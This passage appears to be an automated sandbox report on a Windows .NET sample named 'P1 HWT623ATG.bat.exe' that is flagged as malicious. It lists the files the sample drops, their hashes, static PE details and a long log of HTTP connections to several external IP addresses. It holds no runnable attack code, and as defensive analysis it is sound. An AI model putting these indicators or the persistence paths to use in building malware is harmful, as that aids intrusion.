                                SHA-512:601F3C63B5C092F6003984CBC36B834B0898AD0DCAA427DD336FD265FD704F9063C66BC7DF934A4301985D77A4075B4E7D8C604C7CC96EC6A1E912B15DFFDAAA
                                Malicious:false
                                Preview:.................................A..............................................~..............................w...................................................................+............................................\...............................................................................................................................................................................................................................................c.....................a...........................................................................................]....................................................................................................................................r..............................................................................................S...........................................................................'....................................................................................!................................

                                C:\Users\user\AppData\Local\erindres\keres\skuboppernes.sys

                                Download File
                                Process:C:\Users\user\AppData\Local\Temp\bfc.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):1410203
                                Entropy (8bit):0.43255828772564464
                                Encrypted:false
                                SSDEEP:768:hB8uTcfnpP9qy1V7RS+sEaIatQu1WNMfyn4Rti8uOe/cFurkU1yuGbfId9C5zTER:zBjFm4V61jZGS
                                MD5:9FB5A08E0D6D8318329F87990E347E52
                                SHA1:0FDFF9C55954DFCF2E12F88CE040A937416F4970
                                SHA-256:4028A1325D2D88343E072FFB7B2A9628DCAF75700263A32ADC99223F733C4E25
                                SHA-512:D65C02A51153B1D7A3CF92EAC1160715C6F75D30836FF4AE33842693BFE83AC9BBBC3B3FF02498519CF0A31CE4278EE44E6F3B43C73B710445565B3F9B22319B
                                Malicious:true
                                Preview:...........................................................#......................................................................................................................................................................V......e.......|..........................|..................._......................................................................................................................\................................................................}........................................................................................x.................8.......................................................................................................................:.........................................................................................................................................................................................................................................................1.....................................5............

                                C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe

                                Download File
                                Process:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Category:dropped
                                Size (bytes):753664
                                Entropy (8bit):7.905291471126653
                                Encrypted:false
                                SSDEEP:12288:e3qyJMgFKQK9RXZ18byY0Po42ki8BsG5llPjP/3DUhUMn9QVYT:e6OxFKQmRXAz8awlPjn3ohB9VT
                                MD5:CFD86B8016C2604EA4B9CF22E6316E22
                                SHA1:76BBD37B9FA76903785813AF01C9CFB913C6B7FF
                                SHA-256:3E8A45E1F0FACE1DEDAB9167D1E0405000F94D1DFAF1780B45CBE315F1EAD0D4
                                SHA-512:5C310750F9CEF44874E55776D574EAEC2C02413F87011B85E2EC153DBE0AF48B0AF8925780313211842A61E3361DBEFB6B8E2773F0A7A7A773862FB310B88FEB
                                Malicious:true
                                Antivirus:
                                • Antivirus: Avira, Detection: 100%
                                • Antivirus: Joe Sandbox ML, Detection: 100%
                                • Antivirus: ReversingLabs, Detection: 58%
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._f..............0..P...(......^l... ........@.. ....................................@..................................l..O.................................................................................... ............... ..H............text...dL... ...P.................. ..`.rsrc............ ...X..............@..@.reloc...............x..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe:Zone.Identifier

                                Download File
                                Process:C:\Users\user\Desktop\P1 HWT623ATG.bat.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):26
                                Entropy (8bit):3.95006375643621
                                Encrypted:false
                                SSDEEP:3:ggPYV:rPYV
                                MD5:187F488E27DB4AF347237FE461A079AD
                                SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                Malicious:true
                                Preview:[ZoneTransfer]....ZoneId=0

                                Static File Info

                                General

                                File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                Entropy (8bit):7.905291471126653
                                TrID:
                                • Win32 Executable (generic) Net Framework (10011505/4) 49.79%
                                • Win32 Executable (generic) a (10002005/4) 49.75%
                                • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                • Windows Screen Saver (13104/52) 0.07%
                                • Win16/32 Executable Delphi generic (2074/23) 0.01%
                                File name:P1 HWT623ATG.bat.exe
                                File size:753'664 bytes
                                MD5:cfd86b8016c2604ea4b9cf22e6316e22
                                SHA1:76bbd37b9fa76903785813af01c9cfb913c6b7ff
                                SHA256:3e8a45e1f0face1dedab9167d1e0405000f94d1dfaf1780b45cbe315f1ead0d4
                                SHA512:5c310750f9cef44874e55776d574eaec2c02413f87011b85e2ec153dbe0af48b0af8925780313211842a61e3361dbefb6b8e2773f0a7a7a773862fb310b88feb
                                SSDEEP:12288:e3qyJMgFKQK9RXZ18byY0Po42ki8BsG5llPjP/3DUhUMn9QVYT:e6OxFKQmRXAz8awlPjn3ohB9VT
                                TLSH:BBF4121467B95701E1FC87F9586A01501B793A270A22C718CD86B9FA8DB5BD0DA0FF2F
                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._f..............0..P...(......^l... ........@.. ....................................@................................

                                File Icon

                                Icon Hash:175198939250310f

                                Static PE Info

                                General

                                Entrypoint:0x4b6c5e
                                Entrypoint Section:.text
                                Digitally signed:false
                                Imagebase:0x400000
                                Subsystem:windows gui
                                Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                Time Stamp:0x665FC0A6 [Wed Jun 5 01:34:30 2024 UTC]
                                TLS Callbacks:
                                CLR (.Net) Version:
                                OS Version Major:4
                                OS Version Minor:0
                                File Version Major:4
                                File Version Minor:0
                                Subsystem Version Major:4
                                Subsystem Version Minor:0
                                Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                Entrypoint Preview

                                Instruction
                                jmp dword ptr [00402000h]
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al
                                add byte ptr [eax], al

                                Data Directories

                                NameVirtual AddressVirtual Size Is in Section
                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IMPORT0xb6c0c0x4f.text
                                IMAGE_DIRECTORY_ENTRY_RESOURCE0xb80000x1ec4.rsrc
                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                IMAGE_DIRECTORY_ENTRY_BASERELOC0xba0000xc.reloc
                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                Sections

                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                .text0x20000xb4c640xb5000dc28e5bd5294c5180180d9ba7a1de8f4False0.9382553522099447data7.925374523955337IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                .rsrc0xb80000x1ec40x20009569e8a892d973c8af3470e05f18d987False0.85888671875data7.362197869352215IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                .reloc0xba0000xc0x800915c57ea3ad57737606a2e3509d4a25aFalse0.015625data0.02939680787012526IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                Resources

                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                RT_ICON0xb80c80x19f5PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9736644093303235
                                RT_GROUP_ICON0xb9ad00x14data1.05
                                RT_VERSION0xb9af40x3ccdata0.43930041152263377

                                Imports

                                DLLImport
                                mscoree.dll_CorExeMain

                                Network Behavior

                                Network Port Distribution

                                TCP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Jun 5, 2024 18:26:59.768871069 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:26:59.773996115 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:26:59.774080992 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:26:59.777451038 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:26:59.782434940 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:27:00.447798967 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:27:00.447849989 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:27:00.447989941 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:27:00.449759007 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:27:00.449810982 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:27:00.452289104 CEST4970980192.168.2.7195.35.39.119
                                Jun 5, 2024 18:27:00.457153082 CEST8049709195.35.39.119192.168.2.7
                                Jun 5, 2024 18:27:16.674185991 CEST4971180192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:16.682948112 CEST8049711162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:16.683723927 CEST4971180192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:16.685231924 CEST4971180192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:16.690114021 CEST8049711162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:17.310480118 CEST8049711162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:17.326260090 CEST8049711162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:17.328511000 CEST4971180192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:18.196504116 CEST4971180192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:19.214577913 CEST4971280192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:19.219508886 CEST8049712162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:19.219583035 CEST4971280192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:19.221756935 CEST4971280192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:19.226660013 CEST8049712162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:19.857146978 CEST8049712162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:19.872884989 CEST8049712162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:19.872977018 CEST4971280192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:20.729641914 CEST4971280192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:21.745584011 CEST4971380192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:21.750602961 CEST8049713162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:21.750751019 CEST4971380192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:21.752670050 CEST4971380192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:21.757895947 CEST8049713162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:21.757910013 CEST8049713162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:22.385396004 CEST8049713162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:22.401343107 CEST8049713162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:22.401401043 CEST4971380192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:23.258172035 CEST4971380192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.279491901 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.284749985 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.284857988 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.286741018 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.291657925 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.923527956 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.923547029 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.923558950 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.923784971 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.938735008 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:24.938860893 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.939716101 CEST4971480192.168.2.7162.241.2.254
                                Jun 5, 2024 18:27:24.944658041 CEST8049714162.241.2.254192.168.2.7
                                Jun 5, 2024 18:27:30.262658119 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:30.268084049 CEST8049715185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:30.268214941 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:30.270272017 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:30.275346994 CEST8049715185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:31.207969904 CEST8049715185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:31.207988024 CEST8049715185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:31.208120108 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:31.364223957 CEST8049715185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:31.364345074 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:31.773678064 CEST4971580192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:32.794354916 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:32.800364971 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:32.800529957 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:32.802828074 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:32.807761908 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:34.074812889 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:34.074825048 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:34.074837923 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:34.074949980 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:34.234865904 CEST8049716185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:34.235023975 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:34.305052042 CEST4971680192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:35.324364901 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:35.329343081 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:35.329746962 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:35.332253933 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:35.337166071 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:35.337332010 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:36.265587091 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:36.265603065 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:36.265836000 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:36.420886993 CEST8049717185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:36.421001911 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:36.836203098 CEST4971780192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:37.854919910 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:37.861160040 CEST8049718185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:37.861314058 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:37.863272905 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:37.868840933 CEST8049718185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:38.813507080 CEST8049718185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:38.867470026 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:38.970807076 CEST8049718185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:38.970978975 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:38.971862078 CEST4971880192.168.2.7185.137.235.103
                                Jun 5, 2024 18:27:38.976790905 CEST8049718185.137.235.103192.168.2.7
                                Jun 5, 2024 18:27:44.243237972 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:44.248403072 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:44.248500109 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:44.250412941 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:44.255422115 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.705521107 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.705542088 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.705558062 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.705576897 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.705638885 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:45.705670118 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:45.705843925 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.710813046 CEST804971964.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:45.710896015 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:45.758213997 CEST4971980192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:46.776832104 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:46.781707048 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:46.781824112 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:46.783699036 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:46.788579941 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.217691898 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.217706919 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.217719078 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.217768908 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:48.219086885 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.219130993 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:48.220009089 CEST804972064.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:48.273689985 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:48.295803070 CEST4972080192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:49.319498062 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:49.325797081 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:49.325907946 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:49.328383923 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:49.334996939 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:49.335004091 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:50.729536057 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:50.729581118 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:50.729614019 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:50.729720116 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:50.731667042 CEST804972164.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:50.731786013 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:50.838242054 CEST4972180192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:51.855578899 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:51.907454967 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:51.907552004 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:51.909708977 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:51.914645910 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448247910 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448256016 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448262930 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448321104 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448333979 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448343992 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448352098 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448360920 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:53.448367119 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448375940 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448388100 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.448466063 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:53.448466063 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:53.448532104 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.482141018 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:53.482333899 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:53.483176947 CEST4972280192.168.2.764.46.118.35
                                Jun 5, 2024 18:27:53.488173008 CEST804972264.46.118.35192.168.2.7
                                Jun 5, 2024 18:27:59.667411089 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:27:59.672334909 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:27:59.672421932 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:27:59.675080061 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:27:59.679975033 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.696891069 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.696897984 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.696902037 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.696949005 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.696966887 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697077036 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:00.697077036 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:00.697345018 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697366953 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697379112 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697392941 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697405100 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.697458029 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:00.697458029 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:00.702130079 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.760379076 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:00.901314020 CEST804972313.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:00.904752970 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:01.189558983 CEST4972380192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:02.199853897 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:02.205159903 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:02.205246925 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:02.207586050 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:02.212569952 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255146027 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255167007 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255179882 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255191088 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255211115 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.255280972 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255305052 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.255331039 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255472898 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.255767107 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255772114 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255793095 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255801916 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.255902052 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.260219097 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.305022955 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.458055973 CEST804972413.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:03.458352089 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:03.725115061 CEST4972480192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:04.730259895 CEST4972580192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:04.735177994 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:04.736524105 CEST4972580192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:04.740268946 CEST4972580192.168.2.713.228.81.39
                                Jun 5, 2024 18:28:04.745130062 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:04.745317936 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:05.763338089 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:05.763436079 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:05.763447046 CEST804972513.228.81.39192.168.2.7
                                Jun 5, 2024 18:28:05.763458014 CEST804972513.228.81.39192.168.2.7
